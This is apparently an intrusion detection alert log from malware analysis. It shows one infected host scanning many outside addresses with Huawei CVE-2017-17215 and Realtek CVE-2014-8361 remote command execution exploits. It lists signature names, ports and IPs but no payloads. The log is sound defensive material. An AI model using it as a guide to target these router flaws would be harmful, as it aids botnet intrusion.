Timestamp:	07/20/24-23:01:44.277250
SID:	2027339
Source Port:	43864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 136.131.38.133

Timestamp:	07/20/24-23:01:07.061779
SID:	2835222
Source Port:	59324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.188.157.139

Timestamp:	07/20/24-23:01:47.693711
SID:	2831300
Source Port:	58450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.113.7.103

Timestamp:	07/20/24-23:00:57.221145
SID:	2829579
Source Port:	56886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.75.91.9

Timestamp:	07/20/24-23:01:54.482793
SID:	2025132
Source Port:	42058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.234.34.183

Timestamp:	07/20/24-23:02:08.206268
SID:	2027339
Source Port:	53034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.44.1.200

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	60312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.179.102.207

Timestamp:	07/20/24-23:01:59.296959
SID:	2831300
Source Port:	49948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.172.92

Timestamp:	07/20/24-23:00:59.158278
SID:	2835222
Source Port:	33262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.9.32.210

Timestamp:	07/20/24-23:01:41.676253
SID:	2831300
Source Port:	58742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.239.244.206

Timestamp:	07/20/24-23:01:51.212550
SID:	2027339
Source Port:	40964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.125.30.210

Timestamp:	07/20/24-23:01:41.238000
SID:	2027339
Source Port:	52642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.174.70.107

Timestamp:	07/20/24-23:01:42.728248
SID:	2027339
Source Port:	37248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.40.97

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	48814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.14.67.20

Timestamp:	07/20/24-23:01:48.834295
SID:	2025132
Source Port:	58622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.110.126.98

Timestamp:	07/20/24-23:01:42.692028
SID:	2831300
Source Port:	57984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.10.234.63

Timestamp:	07/20/24-23:01:03.102525
SID:	2027339
Source Port:	36072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.224.21.3

Timestamp:	07/20/24-23:01:48.955750
SID:	2027339
Source Port:	60080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.123.73.220

Timestamp:	07/20/24-23:02:11.791090
SID:	2025132
Source Port:	47260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.24.24.246

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	39010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.225.184.185

Timestamp:	07/20/24-23:01:08.629615
SID:	2027339
Source Port:	59098
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.45.44.116

Timestamp:	07/20/24-23:02:07.294006
SID:	2027339
Source Port:	37108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.162.61.245

Timestamp:	07/20/24-23:01:42.101588
SID:	2831300
Source Port:	53848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.227.230.240

Timestamp:	07/20/24-23:01:45.484813
SID:	2027339
Source Port:	41322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.245.24.12

Timestamp:	07/20/24-23:01:44.993925
SID:	2831300
Source Port:	59994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.153.203.206

Timestamp:	07/20/24-23:01:21.938818
SID:	2829579
Source Port:	37944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.166.233.2

Timestamp:	07/20/24-23:01:31.328855
SID:	2027339
Source Port:	53888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.127.88.100

Timestamp:	07/20/24-23:01:24.596580
SID:	2025132
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.221.231.245

Timestamp:	07/20/24-23:02:05.835826
SID:	2027339
Source Port:	48206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.254.251.88

Timestamp:	07/20/24-23:01:46.483452
SID:	2831300
Source Port:	40680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.208.197.76

Timestamp:	07/20/24-23:01:47.962852
SID:	2025132
Source Port:	34886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.222.212.200

Timestamp:	07/20/24-23:01:42.729310
SID:	2831300
Source Port:	48676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.233.41.28

Timestamp:	07/20/24-23:01:04.595913
SID:	2025132
Source Port:	52276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.180.1.65

Timestamp:	07/20/24-23:01:58.688552
SID:	2027339
Source Port:	37880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.44.163.254

Timestamp:	07/20/24-23:01:41.758923
SID:	2027339
Source Port:	58628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.61.129

Timestamp:	07/20/24-23:00:57.222163
SID:	2835222
Source Port:	43440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.169.65.78

Timestamp:	07/20/24-23:01:44.468208
SID:	2027339
Source Port:	50766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.180.92

Timestamp:	07/20/24-23:01:20.110860
SID:	2829579
Source Port:	40532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.253.120.16

Timestamp:	07/20/24-23:01:27.730585
SID:	2835222
Source Port:	52710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.76.203.13

Timestamp:	07/20/24-23:00:57.221017
SID:	2829579
Source Port:	34536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.203.252.98

Timestamp:	07/20/24-23:01:42.485253
SID:	2027339
Source Port:	50448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.211.164

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	57304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.217.25

Timestamp:	07/20/24-23:01:40.343151
SID:	2829579
Source Port:	39838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.82.199.243

Timestamp:	07/20/24-23:01:44.945183
SID:	2027339
Source Port:	33778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.155.25.219

Timestamp:	07/20/24-23:01:02.146232
SID:	2829579
Source Port:	45252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.140.237.44

Timestamp:	07/20/24-23:01:27.725851
SID:	2829579
Source Port:	40854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.172.125.251

Timestamp:	07/20/24-23:01:43.841155
SID:	2027339
Source Port:	47910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.1.92.156

Timestamp:	07/20/24-23:01:45.109958
SID:	2025132
Source Port:	51562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.197.233.56

Timestamp:	07/20/24-23:01:43.380019
SID:	2027339
Source Port:	49674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.68.76.128

Timestamp:	07/20/24-23:01:42.010169
SID:	2027339
Source Port:	36492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.168.75.104

Timestamp:	07/20/24-23:01:42.519318
SID:	2025132
Source Port:	53592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.8.238.183

Timestamp:	07/20/24-23:01:43.392835
SID:	2831300
Source Port:	36384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.167.112.208

Timestamp:	07/20/24-23:01:44.732056
SID:	2027339
Source Port:	49360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.85.212.42

Timestamp:	07/20/24-23:01:52.569791
SID:	2025132
Source Port:	52506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 58.225.246.95

Timestamp:	07/20/24-23:01:02.127340
SID:	2835222
Source Port:	54968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.118.44.58

Timestamp:	07/20/24-23:02:37.123706
SID:	2025132
Source Port:	42692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.34.22

Timestamp:	07/20/24-23:01:24.889164
SID:	2835222
Source Port:	49292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.44.167

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	49836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.155.242.14

Timestamp:	07/20/24-23:01:42.693537
SID:	2027339
Source Port:	44936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.239.30.22

Timestamp:	07/20/24-23:01:41.459025
SID:	2027339
Source Port:	42738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.191.4.143

Timestamp:	07/20/24-23:02:03.032025
SID:	2025132
Source Port:	58854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.12.83.193

Timestamp:	07/20/24-23:01:12.813695
SID:	2831300
Source Port:	36740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.51.4.30

Timestamp:	07/20/24-23:01:53.665550
SID:	2831300
Source Port:	60378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.118.151

Timestamp:	07/20/24-23:01:11.634077
SID:	2835222
Source Port:	37082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.240.106.220

Timestamp:	07/20/24-23:01:02.093903
SID:	2829579
Source Port:	49164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.152.128.124

Timestamp:	07/20/24-23:00:59.154068
SID:	2829579
Source Port:	43252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.27.209.75

Timestamp:	07/20/24-23:01:44.252201
SID:	2027339
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.11.151.145

Timestamp:	07/20/24-23:01:20.132511
SID:	2835222
Source Port:	47906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.250.27.9

Timestamp:	07/20/24-23:01:41.332211
SID:	2025132
Source Port:	51470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 121.218.112.247

Timestamp:	07/20/24-23:01:44.491060
SID:	2025132
Source Port:	48520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.194.207.76

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	48528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.65.109

Timestamp:	07/20/24-23:01:40.334934
SID:	2829579
Source Port:	52590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.18.43.140

Timestamp:	07/20/24-23:01:47.775082
SID:	2831300
Source Port:	55078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.205.210.219

Timestamp:	07/20/24-23:01:54.940318
SID:	2027339
Source Port:	46312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.132.71.9

Timestamp:	07/20/24-23:01:46.289412
SID:	2027339
Source Port:	59166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.191.35.155

Timestamp:	07/20/24-23:01:48.187360
SID:	2831300
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.175.0

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	57406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.79.192.172

Timestamp:	07/20/24-23:01:44.706302
SID:	2831300
Source Port:	38048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.182.184.30

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.217.31.58

Timestamp:	07/20/24-23:01:44.318262
SID:	2025132
Source Port:	44880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.18.44.19

Timestamp:	07/20/24-23:01:31.314147
SID:	2831300
Source Port:	47166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.71.166.108

Timestamp:	07/20/24-23:01:45.511523
SID:	2831300
Source Port:	49878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.46.15.204

Timestamp:	07/20/24-23:01:47.943232
SID:	2831300
Source Port:	50526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.67.244.75

Timestamp:	07/20/24-23:01:46.462339
SID:	2025132
Source Port:	41534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.43.73.86

Timestamp:	07/20/24-23:01:08.572556
SID:	2027339
Source Port:	44650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.241.141.173

Timestamp:	07/20/24-23:01:31.320338
SID:	2027339
Source Port:	41898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 191.115.236.117

Timestamp:	07/20/24-23:01:24.877747
SID:	2835222
Source Port:	48176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.76.174.48

Timestamp:	07/20/24-23:01:43.020186
SID:	2027339
Source Port:	40860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.11.75.129

Timestamp:	07/20/24-23:01:11.631549
SID:	2829579
Source Port:	35868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.142.84

Timestamp:	07/20/24-23:01:27.725851
SID:	2835222
Source Port:	57548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.226.47.93

Timestamp:	07/20/24-23:01:31.322288
SID:	2027339
Source Port:	34440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.89.14.43

Timestamp:	07/20/24-23:02:14.779973
SID:	2025132
Source Port:	52536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.167.171.74

Timestamp:	07/20/24-23:01:03.286497
SID:	2025132
Source Port:	34874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.65.204.131

Timestamp:	07/20/24-23:01:56.378726
SID:	2027339
Source Port:	40432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.96.139

Timestamp:	07/20/24-23:01:34.043784
SID:	2835222
Source Port:	57248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.236.245.35

Timestamp:	07/20/24-23:00:57.221338
SID:	2829579
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.106.185

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	58398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.105.178.104

Timestamp:	07/20/24-23:01:42.111275
SID:	2027339
Source Port:	54216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.173.160.14

Timestamp:	07/20/24-23:00:57.221803
SID:	2829579
Source Port:	36746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.128.170.53

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	59924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

